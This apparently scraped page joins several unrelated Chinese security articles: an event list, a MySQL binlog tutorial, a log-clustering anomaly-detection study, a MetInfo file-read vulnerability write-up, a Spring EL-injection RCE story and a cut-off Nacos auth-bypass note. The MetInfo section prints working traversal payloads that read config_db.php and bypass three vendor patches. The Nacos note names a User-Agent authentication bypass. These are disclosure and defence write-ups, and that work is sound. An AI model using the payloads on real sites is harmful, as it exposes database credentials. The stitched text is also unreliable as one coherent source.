JSRC面向全国白帽子聚集区域开展安全沙龙活动。主要以增强行业内安全技术交流，建立京东与白帽子间的友好关系；提高京东安全的行业形象为目的开展。
相关报道：
**[2017JSRC安全乌托邦——大数据与威胁情报（PPT分享）](https://www.anquanke.com/post/id/86542)**
**DEFCON GROUP 010 安全沙龙**
**地点：北京、成都、深圳**
DC010（DEFCON GROUP 010）作为全球安全圈最神秘最前沿的顶级黑客大会DEFCON授权认证的官方GROUP，致力于传播DEFCON
黑客精神，为安全技术爱好者提供一个自由灵活的、学习和分享最前沿黑客技术的平台。这里没有古板的演讲桌，只有最high最好玩的黑客炫技体验，带你体验原汁原味的mini
DEFCON黑客大会!
相关报道： **[精彩回顾 | DEFCON GROUP 010
安全沙龙（成都站）](https://www.anquanke.com/post/id/89269)**
**饿了么安全沙龙**
**地点：上海**
随着互联网公司、大型电商的快速发展，互联网安全渐渐被提上日程。本次活动旨在以互联网公司角度，讨论行业目前所面临的安全需求、问题等，与各界同行共同探讨行业面临的共性问题及亟待解决的安全需求，交流互联网安全的技术发展与当下最新、最热的技术话题，为行业未来安全发展开拓思路。
相关报道： **[饿了么&安在：解码风控安全技术沙龙（上海）](https://www.anquanke.com/post/id/87204)**
**VSRC城市沙龙**
**地点：上海、广州**
唯品会安全应急响应中心（VSRC）推出 **因唯安全•所以信赖——城市沙龙** 系列活动，希望通过更好更精彩的分享，结识更多有趣的白帽英雄！
相关报道： **[VSRC城市沙龙（PPT分享）](https://www.anquanke.com/post/id/86541)**
**WiFi万能钥匙SRC安全沙龙**
**地点：上海、成都**
以“安全技术”来“点燃”听众的热情，以“跨界活动”来“导游”听众去了解新的领域。每期安全沙龙，WiFi万能钥匙安全应急响应中心不但会邀请技术大牛来进行技术分享，而且还会加入有趣的跨界活动。
相关报道： **[WiFi万能钥匙SRC安全沙龙 第一期（上海）](https://www.anquanke.com/post/id/86646)**
**点融春季沙龙**
**地点：上海**
2016年，“人工智能”概念火遍全球。以Alpha
Go为开端，Master、Libratus等机器人如雨后春笋，在各个领域独领风骚。作为计算机科学的一个分支、人工智能以机器学习为核心，通过研究计算机来模拟人的某些思维过程和智能行为并不断进行新的尝试与突围。随着其发展，人工智能在各个领域扮演着越来越重要的角色。
本次为第五届点融举办的安全沙龙活动，承袭以往沙龙举办理念，以单纯技术交流分享为目的，将与娜迦科技一起携手开展对 **人工智能在互联网企业安全的应用**
大讨论，邀请各路资深安全专家针对其实践进行深入解析、研究。
相关报道： **[2017点融春季沙龙（5.13 上海）](https://www.anquanke.com/post/id/85903)**
**活动规则：在文章下参与评论留言，为你明年最期待的安全活动打call并附上推荐理由，参与抽奖。** **（记得先登录再评论哦~）**
**中奖名单公布时间：** 1月3号
**新年礼品：**
**安全客最燃冬季帽衫，让你的冬天不再寒冷**
**以上统计属不完全统计，如有遗漏，请联系[email protected]** | 社区文章 |
# 蜻蜓点水Binlog
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简述
Binlog是记录所有数据库表结构变更以及表数据修改的二进制日志，不会记录SELECT和SHOW这类操作。
Binlog日志是以事件形式记录，还包含语句所执行的消耗时间。
开启Binlog日志有以下两个最重要的使用场景。
主从复制：在主库中开启Binlog功能，这样主库就可以把Binlog传递给从库，从库拿到Binlog后实现数据恢复达到主从数据一致性。
数据恢复：通过mysqlbinlog工具来恢复数据。
## 状态
### 初始状态
通过简单的MySQL的数据，就可以看到初始状态，默认mysql5.7是关闭的。如下图所示。
### 开启状态
开启的时候，需要在配置文件中，设置log-bin变量的值。默认不改变路径，只填写一个名称-mysql-bin。对此值赋值完，变开启了bin-log日志。查阅资料，开启此类日志，会占用服务器百分之一的开销。仅供参考，未求证真伪。
默认路径：/Library/Application\ Support/appsolute/MAMP\ PRO/db/mysql57/
### 相关参数
在binlog日志中，有一个很重要的参数binlog_format，这个参数规定了日志文件的存储方式，默认为row。其次缓存的大小binlog_cache_size，还有有效期：expire_logs_days。这些均使用默认值，不涉及生产环境的参考值。
### 查阅日志
小白初次尝试，查阅binlog日志的几种方式，前两种为错误操作，均为乱码不可读，以第三种为正确操作方式，使用专用的mysqlbinlog工具进行读取该日志文件。
* 方式一【错误】：
* 方式二【错误】：
方式三【正确】：
mysqlbinlog -vv —base64-output=decode-rows mysql-bin.000007
### 存储模式【binlog_format】
**statement模式**
表现形式，记录sql语句，但如果是带有时间参数的语句，比如now(),这样的语句在恢复的时候，就是时间错乱。优点是记录数据较少，节省IO，提高性能。
**row模式**
表现形式，非一般的sql语句，记录数据繁琐，可读性差，不会出现statement模式下的时间错乱的情况，数据量比较庞大。
**mixed模式**
混合模式是前两种的结合体，系统智能判断使用哪种形式记录。
三种方式的对比图：
## 数据恢复实操
### 说明
在执行前使用flush logs，产生一个新的日志文件，便于我们实验，方便结果的恢复和阅读，此时产生了的是04日志文件。
### 实操
在本地数据库blog中建立一张表xc_test，里面添加一条数据。name为123的，制造数据丢失的场景，人工删除这条数据，此时查看日志文件如下：
**以行号起始点恢复数据**
寻找两个标记，一个begin，一个end。中间为删除操作产生的日志记录。在这两个标记之间，寻找delete最上面的at数是343，最下面的at数为390。日志文件简单分析到这里。
也可以在MySQL中执行：”show binlog events in ‘mysql-bin.000004’”查阅更方便，阅读更好。
再看日志恢复的命令：mysqlbinlog —database=要操作的数据库 binlog的名称 —start-position=开始的pos
—stop-position=结束的pos| mysql -u登陆名 -p登陆密码 -v 要操作的数据库
分析到这里，如果要回复这条数据，我们需要找到这个条数的插入过程，也就是insert。看下面这个图：
也就是插入的开始位置是468，结束位置是688。按照上面的格式，进行拼接数据如下：
`mysqlbinlog --database=blog mysql-bin.000004 --start-position=486 --stop-position=688 | mysql -u root -proot -v blog`
**以时间起始点恢复数据**
`mysqlbinlog --database=blog mysql-bin.000004 --start-datetime="2022-08-02
10:45:05" --stop-datetime="2022-08-02 14:10:10" | mysql -u root -proot -v
blog`
### bug[Ownership is released on COMMIT or ROLLBACK.]
原因: 设置的起始pos和结束pos点并不是一条完整的mysql事务开启事务结束语
## 总结：
mysql下命令总结：
show variables like 'binlog%'; # 查看数据库变量
flush logs; # 重新生成一个日志文件
show binlog events in 'mysql-bin.000004' # 查询指定日志文件
show master logs; # 显示所有日志文件
show master status; #当前的日志文件 | 社区文章 |
# 1 前言
看了兜哥在freebuf上的专栏文章《学点算法搞安全之HMM（上篇）》，大意就是将URL参数进行范化，然后使用hmm算法来进行训练和测试，这里检测的重点是xss，但是带着我自己的疑问认真看了下方的评论，里面提到一个我非常认同的问题
这里原先是对相同url的参数进行数据提取和训练，那么我们知道一个网站，可能会有上千上万的页面，对应上千上万的url，那么按照这样的思路可能就真的需要去建立上千上万的模型，这显然是不现实的。
那么我们能否将模型范化，去建立一个模型检测一个业务网站的所有的url以及所有url中的异常参数？带着这样的疑问继续找文章，翻到了先知的《Web日志安全分析浅谈》，其中检测的原理就比较硬核了，通过编写不同的攻击规则来表示不同类型的攻击类型，但是这样会出现一个问题，那就是在真实环境中，你并不知道攻击payload到底长什么样，因此也就可能会造成0day的直接放行和变种payload的绕过。在文末jeary也提出了自己的思考，这也是本文的出发点。当然在文中jeary并没有给出具体方法，因此笔者凭着自己对日志分析的理解开始尝试实现这样一套基于访问日志的异常访问检测。
这里我第一个想到的思想就是聚类算法，正常的请求总是相似的，异常请求却各有千秋，那么如果我们能够通过无监督聚类算法来将正常请求给聚类到一块，那么异常请求就会自己凸显出来，打上异常的标签。理论上可行，下面开始实践。
# 2 数据清洗
这里的数据来源很简单，我从自己的vps上把博客的访问日志给拖下来了，大概是800M，数据量在480万条左右，既然想做的是通用的业务模型检测，那么这里拿博客日志或者电商日志数据，从理论上来说都没有太大的差别，这是因为虽然业务模型不一样，但是每一个业务模型都有一套自己的访问序列，也就是说基于博客日志的聚类可能是这样的分布，但是基于电商日志的聚类可能是那样的分布，本质上来说他们并没有区别，聚类只是为了凸显异常请求，所以对数据集来源上，思路上并没有觉得有什么问题。
先来看下博客的日志数据
这里用的国外某家的cdn，ip好像都是美国ip，但是这里是针对url参数进行检测，也没想着做溯源，所以这里ip暂不考虑，重点是url参数，这里一开始心比较大，在检测的模型中加入了访问请求方式（GET/POST）和访问状态码（200/302/404等），后来发现其实这两项其实没有什么必要，这是因为如果是异常请求，比如sql注入、xss等攻击，访问请求方式和状态码并不会改变其异常的本质，也就是说无论是GET还是POST，还是说200状态或者404状态，这个请求是实际存在的异常访问，所以我们只需要将关注的重点放在url请求即可，其中包含url的path和url的param。
这里主要是对pandas的第六列数据进行url的解码和解析，获取其中的path和params
这里主要是对一些特殊请求，比如“/”或者一些静态页面做处理，对于静态页面一般来说都是无害的，所以说这里将静态页面归为一类，感觉上也没有什么毛病。。最后进入到数据泛化的函数
这里有几个泛化规则1）对中文字符统一将其替换为cn；2）统一将数字替换为5；3）统一将特殊字符替换为_。对于中文字符，造成的差异性可能会比较大，比如说不同的中文字符在构建下面的词袋时可能就会造成很大的偏差，所以这里泛化中文字符，第二个就是泛化数字，这里在日常的业务模型上其实是比较常见的，比如说index.php?id=1、index.php?id=123等这样的访问请求，他们其实都是一类的，所以这里最后泛化其实就成了index.php?id=5，在聚类时就会自动聚为一类，特殊字符替换主要是方便统一分词，但是其实是不会影响结果的，虽然部分字符被替换，但是整体字符的顺序仍然是聚类的有效依据。
最终清洗下来效果如下，下面开始使用词袋模型将其转化为数组模型。
# 3 词袋模型
词袋模型兜哥在hmm里曾经使用nltk来构建日志词典，这个模型相对好理解一点，就是说现在比如说出现“alice”、"bob"，那么根据词典的原理，alice可能就是1，bob就是2，那么最终每一组词都能转化为其在词典中的位置。但是我这里使用的tfidf，这是一个根据字词在文中出现的次数和整个语料中出现的文档频率来计算一个字词在整个语料的重要程度。
这里笔者认为用什么算法其实不是很重要，重点在于怎么将泛化的日志数据转化为能够唯一标记的数据向量。那么经过这一步其实所有的url路径和参数就已经能够转化为数组模型。
# 4 无监督聚类
这里无监督聚类用的比较多的一个是kmeans，一个是dbscan。kmeans不太适用于当前场景的原因是kmeans你需要指定簇数，也就是你需要提前知道当面业务模型的url分布数，比如说新闻页面、评论页面、产品页面，那么可能会对应三个簇数，但是在实际环境中，没人能够说得清到底有几个业务功能，所以说这里直接放弃了kmeans，采用dbscan。
dbscan是一个比较有代表性的基于密度的聚类算法。与划分和层次聚类方法不同，它将簇定义为密度相连的点的最大集合，能够把具有足够高密度的区域划分为簇，并可在噪声的空间数据库中发现任意形状的聚类。dbscan的使用实在是太简单，只需要填上eps和minpts参数，即能进行聚类，然后输出聚类标签，一开始看到webber的这篇文章《基于大数据和机器学习的web异常参数检测系统》，他用到了大数据的思想可以做到实时检测，不过其中检测思想并没有涉及多少，针对我在文章开头提出的问题也没有给出具体的解释，，所以继续按照我的思路来做。。（多扯一句，这位大佬好像是我当时阿里实习二面面试官，人很nice！虽然最后挂在三面。。）
这里回到主题，为什么不能做成实时检测？这是由于聚类算法的重点在于对当前数据做分析，并没有对新数据的检测功能，所以这里只能说是基于离线日志，应用场景也就是说只能每天定时跑一遍，检测某个时间段的请求。继续来研究dbscan的参数设置，本文的前提是想做一个针对任意业务模型的异常访问检测，那么参数设置如果能够做成根据业务模型自动化调整，这最好不过了。。接下来就是看论文找方法。。这里找到一篇博士的论文，并根据其算法思想做了实现，应用在这里。这里稍微讲下那两个参数eps和minpts的含义。
eps表示以对象p为中心，以eps为半径的区域内的所有对象，通俗点讲这个参数就是包含数据集D中与对象p距离不大于eps的所有对象。而minpts则表示领域密度阈值，表示对象p的eps领域个数，那么dbscan算法的思想大概就是通过设定领域半径和领域个数来实现一个密度聚类，这里拿中国地图来将，我们知道江浙沪比较小，城市相邻都比较近，那么如果运用dbscan算法来实现中国城市的聚类，很大概率江浙沪可能就会形成一类标签，而像海南，因为是海岛，与相邻城市的距离较远，所以会自成一类标签。
这里引入了密度阈值Density参数来定义密度阈值Density为以eps为半径的园内存在minpts个数据点，这里原论文中提到密度阈值太大，可能会导致同簇集合内部被划分为多个集合；密度阈值太小，可能导致不同簇集合之间被合并，论文最后的结论是聚类结果簇数正确的前提下，密度阈值越小则聚类效果越好，因此这里通过比对不同的密度阈值，得到最小密度阈值时的eps参数和minpts参数。这中间还引入了K-平均最近邻算法，，这个就不多说了。。
具体代码如上，主要是引入了一个kann，可能有点复杂了。。
这里可以看到当K为331时，eps为0.47，minpts为4.92，此时Density参数到达临界点。所以通过这样的计算，我们就能够自动化获得最佳的eps参数和minpts参数。最后我们就能获得分类的总标签数和每一条日志对应的分类标签。
这里可以看到一共分成了10个标签，其中feed对应的是标签1，像archives应该对应的是文章查阅，标签为2，所以在上述方法在进行聚类时的确有一定的效果，因为我重点关注的是异常请求，其对应的标签应该是-1，表示这是一个噪声数据，所以下面重点来看看-1标签对应的日志记录
看着分明就像是目录爆破页面，当然这里的ip有点问题，如果是实际场景，这类ip可以直接加入ban的列表里，那么针对目录扫描这种恶意行为，使用这种聚类思想是可以检测出来的。
这里是比较明显的nikto扫描器页面，也能够检测出来。由于扫描器大多是针对单个页面进行尝试，所以这种在统计分布上具有天然的凸出，检测出来理所当然。。
这个应该是顺后门行为和已知的漏洞攻击
看到这里仿佛这玩意好像很牛逼，直接替代waf得了，但是现实狠狠打了脸，在实践结果混入了大量的无关页面，这些无关页面一般都有一个比较统一的特征，那就是参数随机化，当遇到像token或者其他一些随机生成的参数时，在聚类时由于参数比较特殊，所以一般都会独成一类，也就是变成噪声数据。
上面四条数据将上文结果可以彻底推翻，其中像hid参数还是img参数这种，都是经过服务器随机化生成的，在做数据清洗的时候很难将这类数据单独处理，前文也讲了想做的是一个通用的业务模型检测，这里其实也能解决，用白名单即可解决，但是不够通用，后来就放弃了，其实用白名单的效果真的非常好，如果说报了50条异常，使用白名单将这些随机化参数给过滤掉，最终留下来的可能就只有5条数据了，而这些随机化参数往往的确是无害的，所以这是本文实践第一个比较失败的点。第二个就是上面/archives/tag/iis/feed，按理来说这是一个iis的标签链接，为什么会这种访问请求会被标记为异常呢？回到dbscan的算法思想，一定区域内密度足够大就能够自成一派，那么当某些正常的访问请求，可能的确比较少见，他们的密度不够，也就不能自成一派，这时候也就出现了误报，这种场景其实更常见在后台某些页面，管理员由于只有一个人操作，那么访问的页面数比较有限，所以运用聚类可能效果就会很差，这是第二个我觉得比较难处理的点。（老实讲，针对不同业务模型设立不同的白名单感觉是最直接最好的处理办法了。。）
# 5 降维可视化
最后用tsne来做了个降维可视化看一看数据分布
这里-1其实比较密集，这里推测这类标签可能就是上述随机化参数导致的数据偏移。其他类型的标签就汇聚的比较明显了。。
# 6 后记
回过头来想一想利用访问请求来做无监督聚类，的确是可以发现潜在的攻击漏洞和扫描器行为的，这点来说一定是有意义的，但是针对那种随机化参数和部分访问量比较少的请求的确可能误报上会比较多，如果能够在数据清洗时针对这类标签做特殊处理，这个基于业务模型的自动化聚类的检测思想可能会发挥更大的作用。
上述如有不当之处，敬请指出~ | 社区文章 |
**Author: Badcode@知道创宇404实验室**
**Date: 2018/08/20**
**Update： 目前WAM已开源<https://github.com/knownsec/wam>**
404实验室内部的WAM(Web应用监控程序，文末有关于WAM的介绍)监控到 MetInfo
版本更新，并且自动diff了文件，从diff上来看，应该是修复了一个任意文件读取漏洞，但是没有修复完全，导致还可以被绕过，本文就是记录这个漏洞的修复与绕过的过程。
### 漏洞简介
MetInfo是一套使用PHP和Mysql开发的内容管理系统。 MetInfo 6.0.0~6.1.0版本中的
`old_thumb.class.php`文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。
### 漏洞影响
* MetInfo 6.0.0
* MetInfo 6.1.0
### 漏洞分析
看到`\MetInfo6\app\system\include\module\old_thumb.class.php`
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web{
public function doshow(){
global $_M;
$dir = str_replace('../', '', $_GET['dir']);
if(strstr(str_replace($_M['url']['site'], '', $dir), 'http')){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
......
从代码中可以看到，`$dir`直接由`$_GET['dir']`传递进来，并将`../`置空。目标是进入到第一个 if
里面的`readfile($dir);`，读取文件。看看 if
语句的条件，里面的是将`$dir`中包含`$_M['url']['site']`的部分置空，这里可以不用管。外面是一个`strstr`函数，判断`$dir`中`http`字符串的首次出现位置，也就是说，要进入到这个
if 语句里面，`$dir`中包含`http`字符串即可。
从上面的分析可以构造出
payload，只要`$dir`里包含`http`字符串就可以进入到`readfile`函数从而读取任意函数，然后可以使用`..././`来进行目录跳转，因为`../`会被置空，所以最终payload
如下
?dir=..././http/..././config/config_db.php
对于这个任意文件读取漏洞，官方一直没补好，导致被绕过了几次。以下几种绕过方式均已提交CNVD，由CNVD通报厂商。
#### 第一次绕过
根据WAM的监测记录，官方5月份的时候补了这个漏洞，但是没补完全。
看下diff
可以看到，之前的只是把`../`置空，而补丁是把`../`和`./`都置空了。但是这里还是可以绕过。可以使用`.....///`来跳转目录，`.....///`经过`str_replace`置空，正好剩下`../`，可以跳转。所以payload是
?dir=.....///http/.....///config/config_db.php
#### 第二次绕过
在提交第一种绕过方式给CNVD之后，MetInfo没多久就更新了，来看下官方的修复方式。
diff
这里加了一个判断，`$dir`要以`http`开头，变换一下之前的payload就可以继续绕过了。
?dir=http/.....///.....///config/config_db.php
#### 第三次绕过
再次提交之后，官方知悉该绕过方式，又补了一次了。
看下diff
看到补丁，又多加了一个判断条件，使用`strpos`函数查找`./`首次出现的位置，也就是说不能有`./`。没了`./`，在Windows下还可以用`..\`来跳转目录。所以payload
?dir=http\..\..\config\config_db.php
遗憾的是，这个只能在Windows环境下面才可以。
#### 最终
目前在官网供下载的最新的6.1.0版本中，`old_thumb.class.php`这个文件已经被删除。
### 总结
一次次的修补，一次次的绕过，感觉开发者应该是没有理解到漏洞利用的原理，一直以类黑名单的形式在修复，而黑名单的形式总是容易被绕过。除了删除文件外，根据实际功能，可以考虑使用白名单方式修复，例如限定所能读取的文件类型为图片类型。
### 关于WAM
WAM 应用监控：通过监控互联网开源 Web 应用的版本更新，自动化 Diff 审计源代码，发送漏洞告警邮件，第一时间发现漏洞及后门植入。
功能特性
* 目前已支持150种 Web 应用的版本源码监控
* 支持监控 Web 应用历史版本源码包下载
* 监控 Web 应用版本发布页面自动下载更新
* 自动 Diff 版本，比较文件更新，高亮显示，自动审计可疑漏洞或后门
* 自动邮件告警可以漏洞/后门审计结果
好消息来了，黑哥计划在 2018 KCon 大会上直接将 WAM 开源发布。
* * * | 社区文章 |
**作者：唐磊**
**原文链接：<https://www.tanglei.name/blog/a-security-vulnerability-of-spring-validator.html>**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
**投稿邮箱：[email protected]**
之前在某厂的某次项目开发中，项目组同学设计和实现了一个“引以为傲”，额，有点扩张，不过自认为还说得过去的
feature，结果临上线前被啪啪打脸，因为实现过程中因为 **一行代码**
（没有标题党，真的是一行代码）带来的安全漏洞让我们丢失了整个服务器控制权（测试环境）。多亏了上线之前有公司安全团队的人会对代码进行扫描，才让这个漏洞被扼杀在摇篮里。
## 背景说明
我们的项目是一个面向全球用户的 Web 项目，用 SpringBoot
开发。在项目开发过程中，离不开各种异常信息的处理，比如表单提交参数不符合预期，业务逻辑的处理时离不开各种异常信息（例如网络抖动等）的处理。于是利用
SpringBoot
各种现成的组件支持，设计了一个统一的异常信息处理组件，统一管理各种业务流程中可能出现的错误码和错误信息，通过国际化的资源配置文件进行统一输出给用户。
### 统一错误信息配置管理
我们的用户遍布全球，为了给各个国家用户比较好的体验会进行不同的翻译。具体而言，实现的效果如下，为了方便理解，以“找回登录密码”这样一个业务场景来进行阐述说明。
假设找回密码时，需要用户输入手机或者邮箱验证码，假设这个时候用户输入的验证码通过后台数据库（可能是Redis）对比发现已经过期。在业务代码中，只需要简单的
`throw new ErrorCodeException(ErrorCodes.AUTHCODE_EXPIRED)`
即可。具体而言，针对不同国家地区不同的语言看到的效果不一样：
* 中文用户看到的提示就是“您输入的验证码已过期，请重新获取”；
* 欧美用户看到的效果是“The verification code you input is expired, …”；
* 德国用户看到的是：“Der von Ihnen eingegebene Verifizierungscode ist abgelaufen, bitte wiederholen” 。（我瞎找的翻译，不一定准）
* ……
### 统一错误信息配置管理代码实现
关键信息其实就在于一个 GlobalExceptionHandler，对所有Controller 入口进行 AOP
拦截，根据不同的错误信息，获取相应资源文件配置的 key，并从语言资源文件中读取不同国家的错误翻译信息。
@ControllerAdvicepublic class GlobalExceptionHandler { @ExceptionHandler(BadRequestException.class) @ResponseBody public ResponseEntity handle(HttpServletRequest request, BadRequestException e){ String i18message = getI18nMessage(e.getKey(), request); return ResponseEntity.status(HttpStatus.BAD_REQUEST).body(Response.error(e.getCode(), i18message)); } @ExceptionHandler(ErrorCodeException.class) @ResponseBody public ResponseEntity handle(HttpServletRequest request, ErrorCodeException e){ String i18message = getI18nMessage(e.getKey(), request); return ResponseEntity.status(HttpStatus.OK).body(Response.error(e.getCode(), i18message)); }}
private String getI18nMessage(String key, HttpServletRequest request) { try { return messageSource.getMessage(key, null, LanguaggeUtils.currentLocale(request)); } catch (Exception e) { // log return key; }}
详细代码实现可以参考本人之前写的这篇文章[一文教你实现 SpringBoot 中的自定义 Validator
和错误信息国际化配置](https://www.tanglei.name/blog/custom-validator-and-i18n-error-message-in-springboot.html)，上面有附完整的代码实现。
### 基于注解的表单校验（含自定义注解）
还有一种常见的业务场景就是后端接口需要对用户提交的表单进行校验。以“注册用户”这样的场景举例说明，
注册用户时，往往会提交昵称，性别，邮箱等信息进行注册，简单起见，就以这 3 个属性为例。
定义的表单如下：
public class UserRegForm { private String nickname; private String gender; private String email;}
对于表单的约束，我们有：
* 昵称字段：“nickname” 必填，长度必须是 6 到 20 位；
* 性别字段：“gender” 可选，如果填了，就必须是“Male/Female/Other/”中的一种。说啥，除了男女还有其他？对，是的。毕竟全球用户嘛，你去看看非死不可，还有更多。
* 邮箱： “email”，必填，必须满足邮箱格式。
对于以上约束，我们只需要在对应的字段上添加如下注解即可。
public class UserRegForm { @Length(min = 6, max = 20, message = "validate.userRegForm.nickname") private String nickname; @Gender(message="validate.userRegForm.gender") private String gender; @NotNull @Email(message="validate.userRegForm.email") private String email;}
然后在各个语言资源文件中配置好相应的错误信息提示即可。其中， `@Gender` 就是一个自定义的注解。
### 基于含自定义注解的表单校验关键代码
自定义注解的实现主要的其实就是一个自定义注解的定义以及一个校验逻辑。 例如定义一个自定义注解 `CustomParam`：
@Documented@Constraint(validatedBy = CustomValidator.class)@Target({FIELD, METHOD, PARAMETER, ANNOTATION_TYPE})@Retention(RetentionPolicy.RUNTIME)public @interface CustomParam { String message() default "name.tanglei.www.validator.CustomArray.defaultMessage"; Class<?>[] groups() default {}; Class<? extends Payload>[] payload() default { }; @Documented @Retention(RetentionPolicy.RUNTIME) @Target({FIELD, METHOD, PARAMETER, ANNOTATION_TYPE}) @interface List { CustomParam[] value(); }}
校验逻辑的实现 `CustomValidator`：
public class CustomValidator implements ConstraintValidator<CustomParam, String> { @Override public boolean isValid(String s, ConstraintValidatorContext constraintValidatorContext) { if (null == s || s.isEmpty()) { return true; } if (s.equals("tanglei")) { return true; } else { error(constraintValidatorContext, "Invalid params: " + s); return false; } } @Override public void initialize(CustomParam constraintAnnotation) { } private static void error(ConstraintValidatorContext context, String message) { context.disableDefaultConstraintViolation(); context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); }}
上面例子只为了阐述说明问题，其中校验逻辑没有实际意义，这样，如果输入参数不满足条件，就会明确提示用户输入的哪个参数不满足条件。例如输入参数
`xx`，则会直接提示：`Invalid params: xx`。
这个跟第一部分的处理方式类似，因为现有的 validator 组件实现中，如果违反相应的约束也是一种抛异常的方式实现的，因此只需要在上述的
`GlobalExceptionHandler`中添加相应的异常信息即可，这里就不详述了。 这不是本文的重点，这里就不详细阐述了。
详细代码实现可以参考本人之前写的这篇文章[一文教你实现 SpringBoot 中的自定义 Validator
和错误信息国际化配置](https://www.tanglei.name/blog/custom-validator-and-i18n-error-message-in-springboot.html)，上面有附完整的代码实现。
## 场景重现
一切都显得很完美，直到上线前代码提交至安全团队扫描，就被“啪啪打脸”，扫描报告反馈了一个严重的安全漏洞。而这个安全漏洞，属于很高危的远程代码执行漏洞。
用前文提到的自定义 Validator，输入的参数用： “1+1=${1+1}”，看看效果：
太神奇了，居然帮我运算出来了，返回 `"message": "Invalid params: 1+1=2"`。
问题就出现在实现自定义注解进行校验的这行代码（如下图所示）：
其实，最开始的时候，这里直接返回了“Invalid
params”，当初为了更好的用户体验，要明确告诉用户哪个参数没有通过校验，因此在输出的提示上加上了用户输入的字段，也就是上面的`"Invalid
params: " +
s`，没想到，这闯了大祸了（回过头来想，感觉这里没必要这么详细啊，因为前端已经有相应的校验了，正常情况下回拦住，针对不守规矩的用非常规手段来的接口请求，直接返回校验不通过就行了，毕竟不是对外提供的
OpenAPI 服务）。
仔细看，这个方法实际上是
`ConstraintValidatorContext`这个接口中声明的，看方法名字其实能知道输入参数是一个字符串模板，内部会进行解析替换的（这其实也符合“见名知意”的良好编程习惯）。（教训：
**大家应该把握好自己写的每一行代码背后实际在做什么** 。）
/* ...... * @param messageTemplate new un-interpolated constraint message * @return returns a constraint violation builder */ConstraintViolationBuilder buildConstraintViolationWithTemplate(String messageTemplate);
这个 case，源码调试进去之后，就能跟踪到执行翻译阶段，在如下方法中：
`org.hibernate.validator.messageinterpolation.AbstractMessageInterpolator.interpolateMessage`。
再往后，就是表达式求值了。
以为就这样就完了吗？
刚开始感觉，能帮忙算简单的运算规则也就完了吧，你还能把我怎么样？其实这个相当于暴露了一个入口，支持用户输入任意 EL 表达式进行执行。网上通过关键字
“SpEL表达式注入漏洞” 找找，就能发现事情并没有想象中那么简单。
我们构造恰当的 EL
表达式（注意各种转义，下文的输入参数相对比较明显在做什么了，实际上还有更多黑科技，比如各种二进制转义编码啊等等），就能直接执行输入代码，例如：可以直接执行命令，“ls
-al”， 返回了一个 UNIXProcess 实例，命令已经被执行过了。
比如，我们执行个打开计算器的命令，搞个计算器玩玩~
我录制了一个动图，来个演示可能更生动一些。
这还得了吗？这相当于提供了一个 webshell 的功能呀，你看想运行啥命令就能运行啥命令，例如 ping 本人博客地址（`ping
www.tanglei.name`），下面动图演示一下整个过程（从运行 ping 到 kill ping）。
我录制了一个视频，点击[这里](http://mp.weixin.qq.com/s?__biz=MzI3OTUzMzcwNw==&mid=100001493&idx=1&sn=d8d2374d8afa76e55bd37650c7ccde45&chksm=6b4707315c308e273f4eb62799c65677d849104125bb6e7a56fbded981554fb92e97c289804e#rd)可以访问。
岂不是直接创建一个用户，然后远程登录就可以了。后果很严重啊，别人想干嘛就干嘛了。
我们跟踪下对应的代码，看看内部实现，就会“恍然大悟”了。
## 经验教训
幸亏这个漏洞被扼杀在摇篮里，否则后果还真的挺严重的。通过这个案例，我们有啥经验和教训呢？那就是作为程序员， **我们要对每一行代码都保持“敬畏”之心**
。也许就是因为你的不经意的一行代码就带来了严重的安全漏洞，要是不小心被坏人利用，轻则……重则……（自己想象吧）
此外，我们也应该看到，程序员需要对常见的安全漏洞（例如XSS/CSRF/SQL注入等等）有所了解，并且要有足够的安全意识（其实有时候研究一些安全问题还挺好玩的，比如这篇[《RSA算法及一种”旁门左道”的攻击方式》](http://mp.weixin.qq.com/s?__biz=MzI3OTUzMzcwNw==&mid=2247483759&idx=1&sn=9b37547a51ac99a8d3d50cb9cf54a99a&chksm=eb47008bdc30899dace5743edfc071d97d37764ed69bd9cebbfe32c14727a7407a6b8b76a433&scene=21#wechat_redirect)就比较有趣）。例如：
* 用户权限分离：运行程序的用户不应该用 root，例如新建一个“web”或者“www”之类的用户，并设置该用户的权限，比如不能有可执行 xx 的权限之类的。本文 case，如果权限进行了分离（遵循最小权限原则），应该也不会这么严重。（本文就刚好是因为是测试环境，所以没有强制实施）
* 任何时候都不要相信用户的输入，必须对用户输入的进行校验和过滤，又特别是针对公网上的应用。
* 敏感信息加密保存。退一万步讲，假设攻击者攻入了你的服务器，如果这个时候，你的数据库账户信息等配置都直接明文保存在服务器中。那数据库也被脱走了。
如果可能的话，需要对开发者的代码进行漏洞扫描。一些常见的安全漏洞现在应该是有现成的工具支持的。另外，让专业的人做专业的事情，例如要有安全团队，可能你会说你们公司没有不也活的好好的，哈哈，只不过可能还没有被坏人盯上而已，坏人也会考虑到他们的成本和预期收益的，当然这就更加对我们开发者提高了要求。一些敏感权限尽量控制在少部分人手中，配合相应的流程来支撑（不得不说，大公司繁琐的流程还是有一定道理的）。
* * * | 社区文章 |
## 背景
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式)
的服务基础设施。
Nacos是阿里巴巴于2018年开源的项目，目前在Github中已获得 **19.8** kSt，由此可见其的使用广泛程度。
## 未授权访问漏洞
**threedr3am** 师傅在去年十二月份的时候在Github上给Nacos项目提交了Bypass
认证的Issue，详情可移步<https://github.com/alibaba/nacos/issues/4593>。在该Issue中提及了漏洞详情，Nacos的认证过滤器中会判断客户端的
**User-Agent** 如果是以 **Constants.NACOS_SERVER_HEADER** （Nacos-Server）开头的话，则直接return返回。
对于上述的认证绕过漏洞争议很大，Nacos官方起初并不认为这是一个安全漏洞的问题，不过还是在1.4.1版本中发布了漏洞修复补丁。在1.4.1版本中需要在
**application.properties**
